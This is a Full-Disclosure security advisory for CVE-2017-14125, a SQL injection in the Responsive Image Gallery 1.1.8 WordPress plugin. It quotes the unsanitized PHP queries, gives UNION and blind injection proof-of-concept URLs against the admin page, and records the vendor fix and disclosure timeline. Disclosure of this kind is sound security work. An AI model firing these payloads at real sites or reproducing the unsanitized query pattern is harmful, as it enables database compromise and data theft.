full-disclosure - [FD] WordPress Plugin Responsive Image Gallery 1.1.8

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Date: Fri, 22 Sep 2017 16:26:21 +0200
From: Manuel Garcia Cardenas <advidsec@...il.com>
To: fulldisclosure@...lists.org, dm@...urityfocus.com, submit@...sec.com
Subject: [FD] WordPress Plugin Responsive Image Gallery 1.1.8 - SQL Injection

=============================================
MGC ALERT 2017-006
- Original release date: September 01, 2017
- Last revised:  September 25, 2017
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2017-14125
=============================================

I. VULNERABILITY
-------------------------
WordPress Plugin Responsive Image Gallery 1.1.8 - SQL Injection

II. BACKGROUND
-------------------------
Gallery is very important tool for any website. The most of users have
Galleries on their website. Our Gallery plugin allow you to display your
Galleries with awesome views and animation effects, so you need to try our
plugin.

III. DESCRIPTION
-------------------------
This bug was found using the portal in the files:

/gallery-album/includes/frontend/gallery_class.php
$theme = $wpdb->get_row( "SELECT * FROM
".wpdevart_gallery_databese::$table_names['theme']." WHERE `id` =
$theme_id" );
/gallery-album/includes/admin/gallery_theme.php
$theme_params = $wpdb->get_row('SELECT * FROM
'.wpdevart_gallery_databese::$table_names['theme'].' WHERE id='.$id);

And when the query is executed, the parameter "id" it is not sanitized.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code.

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from SQL Injection.

Union SQL Injection POC:

/wordpress/wp-admin/admin.php?page=wpdevart_gallery_themes&task=add_edit_theme&id=-1+UNION+ALL+SELECT+NULL,@@VERSION,NULL,NULL--

Blind SQL Injection POC:

/wordpress/wp-admin/admin.php?page=wpdevart_gallery_themes&task=add_edit_theme&id=1+and+1=0

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Responsive Image Gallery 1.1.8

VII. SOLUTION
-------------------------
Vendor release a new version 1.2.1
https://downloads.wordpress.org/plugin/gallery-album.1.2.1.zip

VIII. REFERENCES
-------------------------
https://wordpress.org/plugins/gallery-album/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
September 01, 2017 1: Initial release
September 25, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
September 01, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
September 01, 2017 2: Send to vendor
September 22, 2017 3: Vendor fix the vulnerability and release a new version
September 25, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester

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